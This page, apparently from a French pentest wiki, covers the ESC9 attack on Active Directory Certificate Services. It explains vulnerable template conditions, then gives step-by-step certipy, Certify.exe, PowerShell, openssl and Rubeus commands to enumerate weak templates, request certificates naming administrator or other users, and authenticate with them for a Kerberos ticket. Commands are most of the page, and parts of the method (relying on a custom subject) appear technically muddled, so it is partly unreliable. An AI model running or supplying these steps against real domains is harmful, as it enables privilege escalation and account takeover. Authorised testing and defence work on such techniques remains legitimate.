Aller au contenu

ESC9

Description

ESC9 exploite des modèles de certificats configurés avec l'attribut msPKI-Certificate-Name-Flag contenant CT_FLAG_NO_SECURITY_EXTENSION (0x80000), permettant à un utilisateur de demander un certificat sans les extensions de sécurité normales, ce qui peut contourner certaines vérifications d'authentification.

Conditions vulnérables

Un modèle de certificat est vulnérable à ESC9 si :

  1. Flag NO_SECURITY_EXTENSION activé - Le modèle a CT_FLAG_NO_SECURITY_EXTENSION (0x80000) dans msPKI-Certificate-Name-Flag
  2. Authentification client activée - Le modèle permet l'authentification (Client Authentication)
  3. Enrollment autorisé - L'utilisateur a les droits Enroll ou AutoEnroll
  4. Extensions de sécurité contournables - Les vérifications d'identité peuvent être contournées sans les extensions SAN

Exploitation depuis linux (certipy)

Enumération des templates vulnérables :

certipy find -u [email protected] -p password -target dc01.domain.local

# Énumération avec sortie JSON pour analyse des flags
certipy find -u [email protected] -p password -target dc01.domain.local -json -output vulnerabilities.json 

# Recherche spécifique du flag NO_SECURITY_EXTENSION
certipy find -u [email protected] -p password -target dc01.domain.local -vulnerable | grep -A5 -B5 "CT_FLAG_NO_SECURITY_EXTENSION\|0x80000"

Exploitation avec certificat sans extensions de sécurité :

# Demande d'un certificat avec le template vulnérable
certipy req -u [email protected] -p password -target dc01.domain.local -ca 'domain-DC01-CA' -template 'NoSecurityExtTemplate'

# Tentative avec un subject name personnalisé si possible
certipy req -u [email protected] -p password -target dc01.domain.local -ca 'domain-DC01-CA' -template 'NoSecurityExtTemplate' -subject "CN=administrator,CN=Users,DC=domain,DC=local"

Authentification avec le certificat obtenu :

# Authentification avec le certificat sans extensions de sécurité
certipy auth -pfx user.pfx -username user -domain domain.local -dc-ip 192.168.1.10

# Si le subject a pu être modifié
certipy auth -pfx administrator.pfx -username administrator -domain domain.local -dc-ip 192.168.1.10

Exploitation depuis windows (certify.exe)

Enumération des templates vulnérables :

# Énumération des modèles vulnérables 
Certify.exe find /vulnerable 

# Filtrage spécifique ESC9
Certify.exe find /vulnerable | findstr "CT_FLAG_NO_SECURITY_EXTENSION\|0x80000"

# Vérification manuelle des flags
Get-ADObject -Filter {objectClass -eq "pKICertificateTemplate"} -Properties * | Where-Object {
    $_.'msPKI-Certificate-Name-Flag' -band 0x80000
} | Select-Object Name, 'msPKI-Certificate-Name-Flag'

Exploitation du template vulnérable :

# Demande d'un certificat avec le template sans extensions de sécurité
Certify.exe request /ca:DC01.domain.local\domain-DC01-CA /template:NoSecurityExtTemplate

# Tentative avec subject personnalisé si le template le permet
Certify.exe request /ca:DC01.domain.local\domain-DC01-CA /template:NoSecurityExtTemplate /subject:"CN=targetuser,CN=Users,DC=domain,DC=local"

Authentification avec le certificat obtenu :

# Conversion du certificat si nécessaire
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx 

# Authentification avec le certificat 
Rubeus.exe asktgt /user:user /certificate:cert.pfx /password:password123 /ptt

# Test avec différents utilisateurs si le subject a pu être modifié
Rubeus.exe asktgt /user:targetuser /certificate:cert.pfx /password:password123 /ptt